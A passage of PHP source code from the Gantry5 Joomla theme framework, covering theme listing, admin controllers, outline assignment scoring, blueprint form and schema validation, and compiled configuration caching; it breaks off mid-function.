use RocketTheme\Toolbox\Event\Event;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
class Theme extends AbstractTheme
{
/**
* @see AbstractTheme::init()
*/
protected function init()
{
$gantry = static::gantry();
// Add particles, styles and defaults into DI.
$gantry['particles'] = function ($c) {
return new Particles($c);
};
$gantry['styles'] = function ($c) {
return new Styles($c);
};
$gantry['page'] = function ($c) {
return new Page($c);
};
$gantry['defaults'] = function($c) {
/** @var UniformResourceLocator $locator */
$locator = $c['locator'];
$cache =
$locator->findResource('gantry-cache://theme/compiled/config',
true, true);
$paths =
$locator->findResources('gantry-config://default');
$files = (new ConfigFileFinder)->locateFiles($paths);
$config = new CompiledConfig($cache, $files, GANTRY5_ROOT);
$config->setBlueprints(function() use ($c) {
return $c['blueprints'];
});
return $config->load(true);
};
// Initialize admin streams.
/** @var Platform $patform */
$patform = $gantry['platform'];
/** @var UniformResourceLocator $locator */
$locator = $gantry['locator'];
$nucleus =
$patform->getEnginePaths('nucleus')[''];
if (strpos($this->path, '://')) {
$relpath = $this->path;
} else {
$relpath = Folder::getRelativePath($this->path);
}
$patform->set(
'streams.gantry-admin.prefixes', [
'' =>
['gantry-theme://admin', $relpath, $relpath .
'/common', 'gantry-engine://admin'],
'assets/' => array_merge([$relpath, $relpath .
'/common'], $nucleus, ['gantry-assets://'])
]
);
// Add admin paths.
foreach
($patform->get('streams.gantry-admin.prefixes') as $prefix
=> $paths) {
$locator->addPath('gantry-admin', $prefix,
$paths);
}
// Fire admin init event.
$event = new Event;
$event->gantry = $gantry;
$event->theme = $this;
$gantry->fireEvent('admin.init.theme', $event);
}
/**
* @see AbstractTheme::getCachePath()
*
* @param string $path
* @return string
*/
protected function getCachePath($path = '')
{
$gantry = static::gantry();
/** @var Platform $patform */
$patform = $gantry['platform'];
// Initialize theme cache stream.
return $patform->getCachePath() . '/admin' . ($path ?
'/' . $path : '');
}
/**
* @see AbstractTheme::setTwigLoaderPaths()
*
* @param \Twig_LoaderInterface $loader
*/
protected function setTwigLoaderPaths(\Twig_LoaderInterface $loader)
{
if (!($loader instanceof \Twig_Loader_Filesystem)) {
return;
}
$gantry = static::gantry();
/** @var UniformResourceLocator $locator */
$locator = $gantry['locator'];
$loader->setPaths($locator->findResources('gantry-admin://templates'));
$loader->setPaths($locator->findResources('gantry-admin://templates'),
'gantry-admin');
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license GNU/GPLv2 and later
*
* http://www.gnu.org/licenses/gpl-2.0.html
*/
namespace Gantry\Admin;
use Gantry\Component\Filesystem\Folder;
use Gantry\Component\Theme\ThemeDetails;
use Gantry\Framework\Gantry;
use Joomla\Registry\Registry;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
class ThemeList
{
/**
* @var ThemeDetails[]
*/
protected static $items;
/**
* @var array
*/
protected static $styles;
/**
* @return array
*/
public static function getThemes()
{
if (!is_array(static::$items)) {
static::loadThemes();
}
$list = [];
foreach (static::$items as $item) {
$details = static::getTheme($item['name']);
if ($details) {
$list[$item['name']] = $details;
}
}
return $list;
}
/**
* @param string $name
* @return mixed
*/
public static function getTheme($name)
{
$styles = static::getStyles($name);
return reset($styles);
}
/**
* @param string $template
* @return array
*/
public static function getStyles($template = null, $force = false)
{
if ($force || !is_array(static::$styles)) {
static::loadStyles();
}
if ($template) {
return isset(static::$styles[$template]) ?
static::$styles[$template] : [];
}
$list = [];
foreach (static::$styles as $styles) {
$list += $styles;
}
ksort($list);
return $list;
}
protected static function loadThemes()
{
$gantry = Gantry::instance();
/** @var UniformResourceLocator $locator */
$locator = $gantry['locator'];
/** @var array|ThemeDetails[] $list */
$list = [];
$files = Folder::all('gantry-themes://',
['recursive' => false, 'files' => false]);
natsort($files);
foreach ($files as $theme) {
if ($locator('gantry-themes://' . $theme .
'/gantry/theme.yaml')) {
$details = new ThemeDetails($theme);
$details->addStreams();
$details['name'] = $theme;
$details['title'] =
$details['details.name'];
$details['preview_url'] = null;
$details['admin_url'] =
$gantry['platform']->getThemeAdminUrl($theme);
$details['params'] = [];
$list[$details->name] = $details;
}
}
// Add Thumbnails links after adding all the paths to the locator.
foreach ($list as $details) {
$details['thumbnail'] =
$details->getUrl("details.images.thumbnail");
}
static::$items = $list;
}
protected static function loadStyles()
{
$gantry = Gantry::instance();
$db = \JFactory::getDbo();
$query = $db
->getQuery(true)
->select('s.id, e.extension_id, s.template AS name,
s.title, s.params')
->from('#__template_styles AS s')
->where('s.client_id = 0')
->where('e.enabled = 1')
->where('e.state = 0')
->leftJoin('#__extensions AS e ON e.element=s.template
AND e.type='
. $db->quote('template') . ' AND
e.client_id=s.client_id')
->order('s.id');
$db->setQuery($query);
$styles = (array) $db->loadObjectList();
if (!is_array(static::$items)) {
static::loadThemes();
}
/** @var array|ThemeDetails[] $list */
$list = [];
foreach ($styles as $style)
{
$details = isset(static::$items[$style->name]) ?
static::$items[$style->name] : null;
if (!$details) {
continue;
}
$params = new Registry($style->params);
$details = clone $details;
$details['id'] = $style->id;
$details['extension_id'] = $style->extension_id;
$details['style'] = $style->title;
$details['preview_url'] =
$gantry['platform']->getThemePreviewUrl($style->id);
$details['params'] = $params->toArray();
$list[$style->name][$style->id] = $details;
}
static::$styles = $list;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Admin;
use Gantry\Component\Controller\HtmlController as BaseController;
abstract class HtmlController extends BaseController
{
/**
* @param string|array $file
* @param array $context
* @return string
*/
public function render($file, array $context = [])
{
return
$this->container['admin.theme']->render($file, $context);
}
/**
* @param string $action
* @param string $id
* @return boolean
*/
public function authorize($action, $id = null)
{
return
$this->container['platform']->authorize($action, $id);
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Admin;
use Gantry\Component\Controller\JsonController as BaseController;
abstract class JsonController extends BaseController
{
/**
* @param string|array $file
* @param array $context
* @return string
*/
public function render($file, array $context = [])
{
return
$this->container['admin.theme']->render($file, $context);
}
/**
* @param string $action
* @param string $id
* @return boolean
*/
public function authorize($action, $id = null)
{
return
$this->container['platform']->authorize($action, $id);
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Assignments;
use Gantry\Component\Config\CompiledConfig;
use Gantry\Component\Config\ConfigFileFinder;
use Gantry\Framework\Gantry;
use RocketTheme\Toolbox\File\YamlFile;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
abstract class AbstractAssignments
{
/**
* @var string
*/
protected $configuration;
/**
* @var string
*/
protected $className =
'\Gantry\%s\Assignments\Assignments%s';
/**
* @var string
*/
protected $platform;
/**
* @var AssignmentFilter
*/
protected $filter;
/**
* @var array
*/
protected $candidates;
/**
* @var array
*/
protected $page;
/** @var callable */
protected $specialFilterMethod;
/**
* @param string $configuration
*/
public function __construct($configuration = null)
{
$this->configuration = $configuration;
}
/**
* Get list of assignment items.
*/
public function get()
{
return $this->getTypes();
}
/**
* Set (save) assignments.
*
* @param array $data
*/
public function set(array $data)
{
$this->save($data);
}
/**
* Select assigned outline.
*
* @param string $default
* @return string
*/
public function select($default = 'default')
{
$scores = $this->scores();
return key($scores) ?: $default;
}
/**
* List matching outlines sorted by score.
*
* @param array $candidates
* @return array
*/
public function scores(array $candidates = null)
{
$this->init();
$candidates = $candidates ?: $this->candidates;
return $this->filter->scores($candidates, $this->page,
$this->specialFilterMethod);
}
/**
* List matching outlines with matched assignments.
*
* @param array $candidates
* @return array
*/
public function matches(array $candidates = null)
{
$this->init();
$candidates = $candidates ?: $this->candidates;
return $this->filter->matches($candidates, $this->page,
$this->specialFilterMethod);
}
/**
* Load all assignments.
*
* @return array
*/
public function loadAssignments()
{
$gantry = Gantry::instance();
/** @var UniformResourceLocator $locator */
$locator = $gantry['locator'];
// Find all the assignment files.
$paths = $locator->findResources("gantry-config://");
$files = (new
ConfigFileFinder)->locateFileInFolder('assignments', $paths);
// Make sure that base or system outlines aren't in the list.
foreach ($files as $key => $array) {
$key = (string)$key;
if ($key === 'default' || strpos($key, '_')
=== 0) {
unset($files[$key]);
}
}
$cache =
$locator->findResource('gantry-cache://theme/compiled/config',
true, true);
$config = new CompiledConfig($cache, [$files], GANTRY5_ROOT);
return $config->load()->toArray();
}
/**
* Get all assignments for the current page.
*
* @return array
*/
public function getPage()
{
$list = [];
foreach($this->types() as $class => $type) {
$class = is_numeric($class) ? sprintf($this->className,
$this->platform, ucfirst($type)) : $class;
if (!class_exists($class)) {
throw new \RuntimeException("Assignment type {$type}
is missing");
}
/** @var AssignmentsInterface $instance */
$instance = new $class;
$list[$type] = $instance->getRules();
unset($instance);
}
return $list;
}
/**
* Filter assignments data.
*
* @param array $data
* @param bool $minimize
* @return array
*/
public function filter(array $data, $minimize = false)
{
$types = [];
foreach ($this->types() as $type) {
$types[$type] = [];
}
$data = array_replace($types, $data);
foreach ($data as $tname => &$type) {
if (is_array($type)) {
foreach ($type as $gname => &$group) {
if (is_array($group)) {
foreach ($group as $key => $value) {
if (!$value) {
unset($group[$key]);
} else {
$group[$key] = (bool) $value;
}
}
if (empty($group)) {
unset($type[$gname]);
}
} else {
$group = (bool) $group;
}
}
unset($group);
if ($minimize && empty($type)) {
unset($data[$tname]);
}
} else {
$type = (bool) $type;
}
}
return $data;
}
/**
* Save assignments for the configuration.
*
* @param array $data
*/
public function save(array $data)
{
$data = $this->filter($data);
$gantry = Gantry::instance();
/** @var UniformResourceLocator $locator */
$locator = $gantry['locator'];
// Save layout into custom directory for the current theme.
$save_dir =
$locator->findResource("gantry-config://{$this->configuration}",
true, true);
$filename = "{$save_dir}/assignments.yaml";
$file = YamlFile::instance($filename);
$file->save($data);
$file->free();
}
/**
* Get list of all assignment types for assignments form.
*
* @return array
*/
public function getTypes()
{
$list = [];
foreach ($this->types() as $class => $type) {
$class = is_numeric($class) ? sprintf($this->className,
$this->platform, ucfirst($type)) : $class;
if (!class_exists($class)) {
throw new \RuntimeException("Assignment type
'{$type}' is missing");
}
/** @var AssignmentsInterface $instance */
$instance = new $class;
$list[$type] =
$instance->listRules($this->configuration);
unset($instance);
}
return $list;
}
/**
* Get selected assignment option.
*
* @return string
*/
public function getAssignment()
{
return 'default';
}
/**
* Set extra options for assignments.
*
* @param $value
*/
public function setAssignment($value)
{
}
/**
* Get extra options for assignments.
*
* @return array
*/
public function assignmentOptions()
{
return [];
}
protected function init()
{
if (!$this->filter) {
$this->filter = new AssignmentFilter;
$this->candidates = $this->loadAssignments();
$this->page = $this->getPage();
}
}
/**
* Return list of assignment types.
*
* @return array
*/
abstract public function types();
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Assignments;
/**
* Class AssignmentFilter
* @package Gantry\Assignments
*/
class AssignmentFilter
{
protected $method;
/**
* Return all matching candidates with their score. Candidates are
ordered by their scores.
*
* @param array $candidates In format of
candidates[name][section][rule].
* @param array $page In format of page[section][rule].
* @return array
*/
public function scores(array &$candidates, array &$page,
callable $function = null)
{
$matches = $this->matches($candidates, $page, $function);
$scores = [];
foreach ($matches as $type => $candidate) {
$scores[$type] = $this->getScore($candidate) +
(isset($candidate['language']) ? 0.01 : 0);
}
// Always return matches by score in alphabetical order.
ksort($scores, SORT_STRING);
arsort($scores, SORT_NUMERIC);
return $scores;
}
/**
* Returns all matching candidates with matching rules.
*
* @param array $candidates In format of
candidates[name][section][rule].
* @param array $page In format of page[section][rule].
* @return array
*/
public function matches(array $candidates, array &$page, callable
$function = null)
{
$matches = [];
foreach ($candidates as $type => $candidate) {
if (!is_array($candidate)) {
if ($candidate === true && $page) {
$matches[$type] = $page;
}
continue;
}
foreach ($candidate as $section => $list) {
if (!is_array($list)) {
if ($list === true && !empty($page[$section]))
{
$matches[$type][$section] = $page[$section];
}
continue;
}
foreach ($list as $name => $rules) {
if (!empty($page[$section][$name])) {
if (!is_array($rules)) {
$match = $rules === true ?
$page[$section][$name] : [];
} else {
$match =
\array_intersect_key($page[$section][$name], $rules);
}
if ($match) {
$matches[$type][$section][$name] = $match;
}
}
}
}
if (isset($matches[$type]) && $function &&
call_user_func($function, $candidate, $matches[$type], $page) === false) {
unset($matches[$type]);
}
}
return $matches;
}
/**
* Returns the calculated score for the assignment.
*
* @param array $matches
* @param string $method
* @return int
*/
public function getScore(array &$matches, $method =
'max')
{
$this->method = 'calc' . ucfirst($method);
if (!method_exists($this, $this->method)) {
$this->method = 'calcMax';
}
return $this->calcArray(0, $matches);
}
/**
* @param float $carry
* @param float|array $item
* @return float
* @internal
*/
protected function calcArray($carry, $item)
{
if (is_array($item)) {
return array_reduce($item, [$this, 'calcArray'],
$carry);
}
$method = $this->method;
return $this->{$method}($carry, (float) $item);
}
/**
* @param float $carry
* @param float $item
* @return float
* @internal
*/
protected function calcOr($carry, $item)
{
return (float) ($carry || $item);
}
/**
* @param float $carry
* @param float $item
* @return float
* @internal
*/
protected function calcMin($carry, $item)
{
return $carry ? min($carry, $item) : $item;
}
/**
* @param float $carry
* @param float $item
* @return float
* @internal
*/
protected function calcMax($carry, $item)
{
return max($carry, $item);
}
/**
* @param float $carry
* @param float $item
* @return float
* @internal
*/
protected function calcSum($carry, $item)
{
return $carry + $item;
}
/**
* @param float $carry
* @param float $item
* @return float
* @internal
*/
protected function calcMul($carry, $item)
{
return $carry ? $carry * $item : $item;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Assignments;
interface AssignmentsInterface
{
/**
* Returns list of rules which apply to the current page.
*
* @return array
*/
public function getRules();
/**
* List all the rules available.
*
* @param string $configuration
* @return array
*/
public function listRules($configuration);
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Collection;
use RocketTheme\Toolbox\ArrayTraits\ArrayAccess;
use RocketTheme\Toolbox\ArrayTraits\Countable;
use RocketTheme\Toolbox\ArrayTraits\Export;
class Collection implements CollectionInterface
{
use ArrayAccess, Countable, Export;
/**
* @var array
*/
protected $items = [];
public static function __set_state($variables)
{
$instance = new static();
$instance->items = $variables['items'];
return $instance;
}
/**
*
* Create a copy of this collection.
*
* @return static
*/
public function copy()
{
return clone $this;
}
/**
* @param $item
* @return $this
*/
public function add($item)
{
$this->items[] = $item;
return $this;
}
/**
* @return \ArrayIterator
*/
public function getIterator()
{
return new \ArrayIterator($this->items);
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Collection;
interface CollectionInterface extends \IteratorAggregate, \ArrayAccess,
\Countable
{
public function toArray();
/**
* @param $item
*/
public function add($item);
/**
* @return \ArrayIterator
*/
public function getIterator();
/**
* @param $offset
*
* @return bool
*/
public function offsetExists($offset);
/**
* @param $offset
* @param $value
*/
public function offsetSet($offset, $value);
/**
* @param $offset
*
* @return mixed
*/
public function offsetGet($offset);
/**
* @param $offset
*/
public function offsetUnset($offset);
/**
* @return int
*/
public function count();
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Config;
use Gantry\Component\File\CompiledYamlFile;
use Gantry\Framework\Gantry;
use RocketTheme\Toolbox\Blueprints\BlueprintForm as BaseBlueprintForm;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
/**
* The Config class contains configuration information.
*
* @author RocketTheme
*/
class BlueprintForm extends BaseBlueprintForm
{
/**
* @var string
*/
protected $context = 'gantry-blueprints://';
/**
* @var BlueprintSchema
*/
protected $schema;
/**
* @param string $filename
* @param string $context
* @return BlueprintForm
*/
public static function instance($filename, $context = null)
{
/** @var BlueprintForm $instance */
$instance = new static($filename);
if ($context) {
$instance->setContext($context);
}
return $instance->load()->init();
}
/**
* Get nested structure containing default values defined in the
blueprints.
*
* Fields without default value are ignored in the list.
*
* @return array
*/
public function getDefaults()
{
return $this->schema()->getDefaults();
}
/**
* Merge two arrays by using blueprints.
*
* @param array $data1
* @param array $data2
* @param string $name Optional
* @param string $separator Optional
* @return array
*/
public function mergeData(array $data1, array $data2, $name = null,
$separator = '.')
{
return $this->schema()->mergeData($data1, $data2, $name,
$separator);
}
/**
* Return data fields that do not exist in blueprints.
*
* @param array $data
* @param string $prefix
* @return array
*/
public function extra(array $data, $prefix = '')
{
return $this->schema()->extra($data, $prefix);
}
/**
* Validate data against blueprints.
*
* @param array $data
* @throws \RuntimeException
*/
public function validate(array $data)
{
$this->schema()->validate($data);
}
/**
* Filter data by using blueprints.
*
* @param array $data
* @return array
*/
public function filter(array $data)
{
return $this->schema()->filter($data);
}
/**
* @return BlueprintSchema
*/
public function schema()
{
if (!isset($this->schema)) {
$this->schema = new BlueprintSchema;
$this->schema->embed('', $this->items);
$this->schema->init();
}
return $this->schema;
}
/**
* @param string $filename
* @return string
*/
protected function loadFile($filename)
{
$file = CompiledYamlFile::instance($filename);
$content = $file->content();
$file->free();
return $content;
}
/**
* @param string|array $path
* @param string $context
* @return array
*/
protected function getFiles($path, $context = null)
{
if (is_string($path) && !strpos($path, '://')) {
// Resolve filename.
if (isset($this->overrides[$path])) {
$path = $this->overrides[$path];
} else {
if ($context === null) {
$context = $this->context;
}
if ($context && $context[strlen($context)-1] !==
'/') {
$context .= '/';
}
$path = $context . $path;
if (!preg_match('/\.yaml$/', $path)) {
$path .= '.yaml';
}
}
}
if (is_string($path) && strpos($path, '://')) {
/** @var UniformResourceLocator $locator */
$locator = Gantry::instance()['locator'];
$files = $locator->findResources($path);
} else {
$files = (array) $path;
}
return $files;
}
/**
* @param array $field
* @param string $property
* @param array $call
*/
protected function dynamicData(array &$field, $property, array
&$call)
{
$params = $call['params'];
if (is_array($params)) {
$function = array_shift($params);
} else {
$function = $params;
$params = [];
}
list($o, $f) = preg_split('/::/', $function, 2);
if (!$f) {
if (function_exists($o)) {
$data = call_user_func_array($o, $params);
}
} else {
if (method_exists($o, $f)) {
$data = call_user_func_array(array($o, $f), $params);
}
}
// If function returns a value,
if (isset($data)) {
if (isset($field[$property]) &&
is_array($field[$property]) && is_array($data)) {
// Combine field and @data-field together.
$field[$property] += $data;
} else {
// Or create/replace field with @data-field.
$field[$property] = $data;
}
}
}
/**
* @param array $field
* @param string $property
* @param array $call
*/
protected function dynamicConfig(array &$field, $property, array
&$call)
{
$value = $call['params'];
$default = isset($field[$property]) ? $field[$property] : null;
$config = Gantry::instance()['config']->get($value,
$default);
if (!is_null($config)) {
$field[$property] = $config;
}
}
/**
* Get blueprints by using slash notation for nested arrays/objects.
*
* @param array $path
* @param string $separator
* @return array
*/
public function resolve(array $path, $separator = '/')
{
$fields = false;
$parts = [];
$current = $this['form/fields'];
$result = [null, null, null];
$prefix = '';
while (($field = current($path)) !== false) {
if (!$fields && isset($current['fields'])) {
if (!empty($current['array'])) {
$result = [$current, $parts, $path ?
implode($separator, $path) : null];
// Skip item offset.
$parts[] = array_shift($path);
}
$current = $current['fields'];
$prefix = '';
$fields = true;
} elseif (isset($current[$prefix . $field])) {
$parts[] = array_shift($path);
$current = $current[$prefix . $field];
$prefix = '';
$fields = false;
} elseif (isset($current['.' . $prefix . $field])) {
$parts[] = array_shift($path);
$current = $current['.' . $prefix . $field];
$prefix = '';
$fields = false;
} elseif ($field && $this->fieldExists($prefix .
$field, $current)) {
$parts[] = array_shift($path);
$prefix = "{$prefix}{$field}.";
$fields = false;
} else {
// Check if there's a container with the field.
$current = $this->resolveContainer($current, $prefix,
$field);
// No containers with the field found.
if (!$current) {
break;
}
$prefix = '';
$fields = false;
}
}
if (!$fields && !empty($current['array'])) {
$result = [$current, $parts, $path ? implode($separator, $path)
: null];
}
return $result;
}
protected function resolveContainer($current, $prefix, $fieldName)
{
foreach ($current as $field) {
$type = isset($field['type']) ?
$field['type'] : 'container._implicit';
$container = (0 === strpos($type, 'container.'));
if (!$container || !isset($field['fields'])) {
continue;
}
$current_fields = $field['fields'];
if (isset($current_fields[$prefix . $fieldName]) ||
isset($current_fields['.' . $prefix . $fieldName])
|| $this->fieldExists($prefix . $fieldName,
$current_fields)) {
return $current_fields;
}
$current_fields = $this->resolveContainer($current_fields,
$prefix, $fieldName);
if ($current_fields !== null) {
return $current_fields;
}
}
return null;
}
protected function fieldExists($prefix, $list)
{
foreach ($list as $field => $data) {
$pos = strpos($field, $prefix);
if ($pos === 0 || ($pos === 1 && $field[0] ===
'.')) {
return true;
}
}
return false;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Config;
use Gantry\Framework\Gantry;
use RocketTheme\Toolbox\Blueprints\BlueprintSchema as BlueprintSchemaBase;
/**
* Blueprint schema handles the internal logic of blueprints.
*
* @author RocketTheme
* @license MIT
*/
class BlueprintSchema extends BlueprintSchemaBase
{
protected $configuration;
protected $ignoreFormKeys = [
'title' => true,
'help' => true,
'placeholder' => true,
'fields' => true
];
protected $types = [
'container.set' => [
'input@' => false
],
'container.tabs' => [
'input@' => false
],
'separator.note' => [
'input@' => false
],
'separator.separator' => [
'input@' => false
],
'key' => [
'input@' => false
],
'collection.list' => [
'array' => true
]
];
/**
* Constructor.
*
* @param array $serialized Serialized content if available.
*/
public function __construct($serialized = null)
{
parent::__construct($serialized);
$this->configuration = new
Config(isset($serialized['configuration']) ?
$serialized['configuration'] : []);
}
/**
* Convert object into an array.
*
* @return array
*/
public function getState()
{
return parent::getState() + ['configuration' =>
$this->configuration->toArray()];
}
/**
* Get nested structure containing default values defined in the
blueprints.
*
* Fields without default value are ignored in the list.
*
* @return array
*/
public function getDefaults()
{
return array_merge_recursive($this->configuration->toArray(),
$this->buildDefaults($this->nested));
}
/**
* Embed an array to the blueprint.
*
* @param $name
* @param array $value
* @param string $separator
* @param bool $merge Merge fields instead replacing them.
* @return $this
*/
public function embed($name, array $value, $separator = '.',
$merge = false)
{
parent::embed($name, $value, $separator, $merge);
if (isset($value['configuration'])) {
$this->configuration->set($name,
$value['configuration'], $separator);
}
return $this;
}
/**
* Validate data against blueprints.
*
* @param array $data
* @throws \RuntimeException
*/
public function validate(array $data)
{
try {
$messages = $this->validateArray($data, $this->nested);
} catch (\RuntimeException $e) {
throw (new ValidationException($e->getMessage(),
$e->getCode(), $e))->setMessages();
}
if (!empty($messages)) {
throw (new ValidationException())->setMessages($messages);
}
}
/**
* Filter data by using blueprints.
*
* @param array $data
* @return array
*/
public function filter(array $data)
{
return $this->filterArray($data, $this->nested);
}
/**
* @param array $data
* @param array $rules
* @returns array
* @throws \RuntimeException
* @internal
*/
protected function validateArray(array $data, array $rules)
{
$messages = $this->checkRequired($data, $rules);
foreach ($data as $key => $field) {
$val = isset($rules[$key]) ? $rules[$key] :
(isset($rules['*']) ? $rules['*'] : null);
$rule = is_string($val) ? $this->items[$val] : null;
if ($rule) {
// Item has been defined in blueprints.
$messages += Validation::validate($field, $rule);
} elseif (is_array($field) && is_array($val)) {
// Array has been defined in blueprints.
$messages += $this->validateArray($field, $val);
} elseif (isset($rules['validation']) &&
$rules['validation'] == 'strict') {
// Undefined/extra item.
throw new \RuntimeException(sprintf('%s is not defined
in blueprints', $key));
}
}
return $messages;
}
/**
* @param array $data
* @param array $rules
* @return array
* @internal
*/
protected function filterArray(array $data, array $rules)
{
$results = array();
foreach ($data as $key => $field) {
$val = isset($rules[$key]) ? $rules[$key] :
(isset($rules['*']) ? $rules['*'] : null);
$rule = is_string($val) ? $this->items[$val] : null;
if ($rule) {
// Item has been defined in blueprints.
$field = Validation::filter($field, $rule);
} elseif (is_array($field) && is_array($val)) {
// Array has been defined in blueprints.
$field = $this->filterArray($field, $val);
} elseif (isset($rules['validation']) &&
$rules['validation'] == 'strict') {
$field = null;
}
if (isset($field) && (!is_array($field) ||
!empty($field))) {
$results[$key] = $field;
}
}
return $results;
}
/**
* @param array $data
* @param array $fields
* @return array
*/
protected function checkRequired(array $data, array $fields)
{
$messages = [];
foreach ($fields as $name => $field) {
if (!is_string($field)) {
continue;
}
$field = $this->items[$field];
if (isset($field['validate']['required'])
&&
$field['validate']['required'] === true
&& !isset($data[$name])) {
$value = isset($field['label']) ?
$field['label'] : $field['name'];
// TODO: translate
$message = sprintf("Please fill up required field
'%s'.", $value);
$messages[$field['name']][] = $message;
}
}
return $messages;
}
/**
* @param array $field
* @param string $property
* @param array $call
*/
protected function dynamicConfig(array &$field, $property, array
&$call)
{
$value = $call['params'];
$default = isset($field[$property]) ? $field[$property] : null;
$config = Gantry::instance()['config']->get($value,
$default);
if (!is_null($config)) {
$field[$property] = $config;
}
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Config;
use Gantry\Framework\Gantry;
use RocketTheme\Toolbox\File\PhpFile;
/**
* The Compiled base class.
*/
abstract class CompiledBase
{
/**
* @var int Version number for the compiled file.
*/
public $version = 1;
/**
* @var string Filename (base name) of the compiled configuration.
*/
public $name;
/**
* @var string|bool Configuration checksum.
*/
public $checksum;
/**
* @var string Cache folder to be used.
*/
protected $cacheFolder;
/**
* @var array List of files to load.
*/
protected $files;
/**
* @var string
*/
protected $path;
/**
* @var mixed Configuration object.
*/
protected $object;
/**
* @param string $cacheFolder Cache folder to be used.
* @param array $files List of files as returned from
ConfigFileFinder class.
* @param string $path Base path for the file list.
* @throws \BadMethodCallException
*/
public function __construct($cacheFolder, array $files, $path =
GANTRY5_ROOT)
{
if (!$cacheFolder) {
throw new \BadMethodCallException('Cache folder not
defined.');
}
$this->cacheFolder = $cacheFolder;
$this->files = $files;
$this->path = $path ? rtrim($path, '\\/') .
'/' : '';
}
/**
* Get filename for the compiled PHP file.
*
* @param string $name
* @return $this
*/
public function name($name = null)
{
if (!$this->name) {
$this->name = $name ?:
md5(json_encode(array_keys($this->files)));
}
return $this;
}
/**
* Function gets called when cached configuration is saved.
*/
public function modified() {}
/**
* Load the configuration.
*
* @return mixed
*/
public function load()
{
if ($this->object) {
return $this->object;
}
$filename = $this->createFilename();
if (!$this->loadCompiledFile($filename) &&
$this->loadFiles()) {
$this->saveCompiledFile($filename);
}
return $this->object;
}
/**
* Returns checksum from the configuration files.
*
* You can set $this->checksum = false to disable this check.
*
* @return bool|string
*/
public function checksum()
{
if (!isset($this->checksum)) {
$this->checksum = md5(json_encode($this->files) .
$this->version);
}
return $this->checksum;
}
protected function createFilename()
{
return
"{$this->cacheFolder}/{$this->name()->name}.php";
}
/**
* Create configuration object.
*
* @param array $data
*/
abstract protected function createObject(array $data = []);
/**
* Finalize configuration object.
*/
abstract protected function finalizeObject();
/**
* Load single configuration file and append it to the correct
position.
*
* @param string $name Name of the position.
* @param string $filename File to be loaded.
*/
abstract protected function loadFile($name, $filename);
/**
* Load and join all configuration files.
*
* @return bool
* @internal
*/
protected function loadFiles()
{
$this->createObject();
$list = array_reverse($this->files);
foreach ($list as $files) {
foreach ($files as $name => $item) {
$this->loadFile($name, $this->path .
$item['file']);
}
}
